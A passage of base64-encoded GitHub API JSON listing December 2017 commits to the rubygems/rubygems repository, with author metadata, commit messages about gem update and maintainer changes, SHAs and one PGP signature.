ciI6eyJuYW1lIjoiQ29sYnkgU3dhbmRhbGUiLCJlbWFpbCI6ImNvbGJ5QHRhcGxhYm9yYXRvcmllcy5jb20iLCJkYXRlIjoiMjAxNy0xMi0xMVQxMjoyNjo0NVoifSwibWVzc2FnZSI6ImhhbmRsZSB0aGUgZXhwbGFpbiBvcHRpb24gaW4gZ2VtIHVwZGF0ZSBjb21tYW5kIHRoYXQgcHJpbnRzIHRoZSBuYW1lcyBhbmQgdmVyc2lvbnMgb2YgZ2VtcyB0aGF0IGNhbiBiZSB1cGRhdGVkIiwidHJlZSI6eyJzaGEiOiI0NDVjNTY0MDUzNGJjMzdmZDVmYzAyMzU1NjRlOTgyMGZmZTBiN2YzIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvNDQ1YzU2NDA1MzRiYzM3ZmQ1ZmMwMjM1NTY0ZTk4MjBmZmUwYjdmMyJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzYzZTZlYWViZGYxZmViZWE2ZDNlOGJkMzI0ZmFjYmE2MDA5YzBiYjQiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNjNlNmVhZWJkZjFmZWJlYTZkM2U4YmQzMjRmYWNiYTYwMDljMGJiNCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC82M2U2ZWFlYmRmMWZlYmVhNmQzZThiZDMyNGZhY2JhNjAwOWMwYmI0IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzYzZTZlYWViZGYxZmViZWE2ZDNlOGJkMzI0ZmFjYmE2MDA5YzBiYjQvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJjb2xieS1zd2FuZGFsZSIsImlkIjo5OTYzNzcsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzk5NjM3Nz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9jb2xieS1zd2FuZGFsZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImNvbGJ5LXN3YW5kYWxlIiwiaWQiOjk5NjM3NywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvOTk2Mzc3P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2NvbGJ5LXN3YW5kYWxlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiNjJkYmRjNWEwNmZkOGQ3NDBlOWNlNjVjOGY1NjE5ZDgwMzY2NjczZCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy82MmRiZGM1YTA2ZmQ4ZDc0MGU5Y2U2NWM4ZjU2MTlkODAzNjY2NzNkIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzYyZGJkYzVhMDZmZDhkNzQwZTljZTY1YzhmNTYxOWQ4MDM2NjY3M2QifV19LHsic2hhIjoiNjJkYmRjNWEwNmZkOGQ3NDBlOWNlNjVjOGY1NjE5ZDgwMzY2NjczZCIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0xMi0wNlQwNTo1NzoxNVoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMTItMDZUMDU6NTc6MTVaIn0sIm1lc3NhZ2UiOiJBdXRvIG1lcmdlIG9mICMyMTA5IC0gaHNidDphZGQtYW1hdHN1ZGEsIHI9aHNidFxuXG5BZGRlZCBhbWF0c3VkYSB0byBtYWludGFpbmVycyBsaXN0LlxuXG5XZSB3ZWxjb21lIEBhbWF0c3VkYSBhcyBydWJ5Z2VtcyBtYWludGFpbmVyLiIsInRyZWUiOnsic2hhIjoiMWUwZjA0NzkyOTRiNTkyZTk0Yjc5Njg2ZTIzOGViNDBjYzg1MjhlZiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzFlMGYwNDc5Mjk0YjU5MmU5NGI3OTY4NmUyMzhlYjQwY2M4NTI4ZWYifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy82MmRiZGM1YTA2ZmQ4ZDc0MGU5Y2U2NWM4ZjU2MTlkODAzNjY2NzNkIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzYyZGJkYzVhMDZmZDhkNzQwZTljZTY1YzhmNTYxOWQ4MDM2NjY3M2QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNjJkYmRjNWEwNmZkOGQ3NDBlOWNlNjVjOGY1NjE5ZDgwMzY2NjczZCIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy82MmRiZGM1YTA2ZmQ4ZDc0MGU5Y2U2NWM4ZjU2MTlkODAzNjY2NzNkL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiODg0ZjQ0ZTdiYzk4NDgxYzgxYTUwOWU3Y2YzODllODY2NjQ2Mzc4ZCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy84ODRmNDRlN2JjOTg0ODFjODFhNTA5ZTdjZjM4OWU4NjY2NDYzNzhkIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0Lzg4NGY0NGU3YmM5ODQ4MWM4MWE1MDllN2NmMzg5ZTg2NjY0NjM3OGQifSx7InNoYSI6IjkxMTg3ZTdjYzQ5ZDhiNDdkZTMzY2U4MTZmYzlmNDQ3Mzg4YjQwMzUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvOTExODdlN2NjNDlkOGI0N2RlMzNjZTgxNmZjOWY0NDczODhiNDAzNSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC85MTE4N2U3Y2M0OWQ4YjQ3ZGUzM2NlODE2ZmM5ZjQ0NzM4OGI0MDM1In1dfSx7InNoYSI6IjkxMTg3ZTdjYzQ5ZDhiNDdkZTMzY2U4MTZmYzlmNDQ3Mzg4YjQwMzUiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTEyLTA2VDAzOjAyOjQxWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMDZUMDM6MDI6NDFaIn0sIm1lc3NhZ2UiOiJBZGRlZCBhbWF0c3VkYSB0byBtYWludGFpbmVycyBsaXN0LiIsInRyZWUiOnsic2hhIjoiMWUwZjA0NzkyOTRiNTkyZTk0Yjc5Njg2ZTIzOGViNDBjYzg1MjhlZiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzFlMGYwNDc5Mjk0YjU5MmU5NGI3OTY4NmUyMzhlYjQwY2M4NTI4ZWYifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy85MTE4N2U3Y2M0OWQ4YjQ3ZGUzM2NlODE2ZmM5ZjQ0NzM4OGI0MDM1IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5cbmlRRXpCQUFCQ0FBZEZpRUU1MExSOTBKT28vM3BJdmRtK2M4VFFYSmsrc0lGQWxvblhkRUFDZ2tRK2M4VFFYSmtcbitzSml3Z2dBc0NMcjJNMlJjS0RSa0tFYlFEa0xZNzZFajJ3V0h0T1RlUEZXNEZER1V6aVErZjBwWitLZ1NVMWhcbjNMTEg5eFNDM1JHcEIzSlNuUkFGUU5xeldFY0RucGlNWGd6SEEyS2tXTDR0UXZ5TjNnWGE4ay9FSzB0cVhpWWtcbmVtTThCQUc5bnFML3g1S2hzK2NmQnUrdTJPc0JZZGp2U3Fod01DRFAxaXQ5Y1prSnpGMTM1dFRRaFp4b2FEUFhcbndCSWtTdzE2UWRFM3VWREwvUjFVNUFBNXdHdmcxL1F6SWhmNWk5ZDFabGFhbld0Wm5lWFBicXc2cVJvYitzTE5cbjNOc2gwRXc4d2NoSnNQZWE3MnY3Z0hnaDU3RTFybGtYZEJmL0NFamQyTTNZWStXZDJYei84ZExtZ3lmcWhOUVZcbklpRFhnWUVjdDB3Q1p0MDFHTnNucUV5WEtiS29tdz09XG49Q3FPUlxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgMWUwZjA0NzkyOTRiNTkyZTk0Yjc5Njg2ZTIzOGViNDBjYzg1MjhlZlxucGFyZW50IDg4NGY0NGU3YmM5ODQ4MWM4MWE1MDllN2NmMzg5ZTg2NjY0NjM3OGRcbmF1dGhvciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxMjUyOTM2MSArMDkwMFxuY29tbWl0dGVyIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTEyNTI5MzYxICswOTAwXG5cbkFkZGVkIGFtYXRzdWRhIHRvIG1haW50YWluZXJzIGxpc3QuXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy85MTE4N2U3Y2M0OWQ4YjQ3ZGUzM2NlODE2ZmM5ZjQ0NzM4OGI0MDM1IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzkxMTg3ZTdjYzQ5ZDhiNDdkZTMzY2U4MTZmYzlmNDQ3Mzg4YjQwMzUiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvOTExODdlN2NjNDlkOGI0N2RlMzNjZTgxNmZjOWY0NDczODhiNDAzNS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6Ijg4NGY0NGU3YmM5ODQ4MWM4MWE1MDllN2NmMzg5ZTg2NjY0NjM3OGQiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvODg0ZjQ0ZTdiYzk4NDgxYzgxYTUwOWU3Y2YzODllODY2NjQ2Mzc4ZCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC84ODRmNDRlN2JjOTg0ODFjODFhNTA5ZTdjZjM4OWU4NjY2NDYzNzhkIn1dfSx7InNoYSI6ImMwMjA1ZjY5NTZlMjdlMTQ3NzE1NDU2ZDhiY2QxZTEwYzliOGRkOGIiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJPbGxlIEpvbnNzb24iLCJlbWFpbCI6Im9sbGUuam9uc3NvbkBnbWFpbC5jb20iLCJkYXRlIjoiMjAxNy0xMi0wNVQxMjowNzo0N1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJPbGxlIEpvbnNzb24iLCJlbWFpbCI6Im9sbGUuam9uc3NvbkBnbWFpbC5jb20iLCJkYXRlIjoiMjAxNy0xMi0wNVQxMjowOToyNloifSwibWVzc2FnZSI6IlNwZWNpZmljYXRpb25Qb2xpY3k6IGNhbGwgaXQga2VlcF9vbmx5X2ZpbGVzX2FuZF9kaXJlY3RvcmllcyIsInRyZWUiOnsic2hhIjoiYTE0NTUzYjZhZWJkNjY2NmRkZWMzODE4ZWFhYTI4YWFhOTkzMTc1OCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2ExNDU1M2I2YWViZDY2NjZkZGVjMzgxOGVhYWEyOGFhYTk5MzE3NTgifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9jMDIwNWY2OTU2ZTI3ZTE0NzcxNTQ1NmQ4YmNkMWUxMGM5YjhkZDhiIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2MwMjA1ZjY5NTZlMjdlMTQ3NzE1NDU2ZDhiY2QxZTEwYzliOGRkOGIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvYzAyMDVmNjk1NmUyN2UxNDc3MTU0NTZkOGJjZDFlMTBjOWI4ZGQ4YiIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9jMDIwNWY2OTU2ZTI3ZTE0NzcxNTQ1NmQ4YmNkMWUxMGM5YjhkZDhiL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoib2xsZW9sbGVvbGxlIiwiaWQiOjIxMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjExP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9vbGxlb2xsZW9sbGUiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3V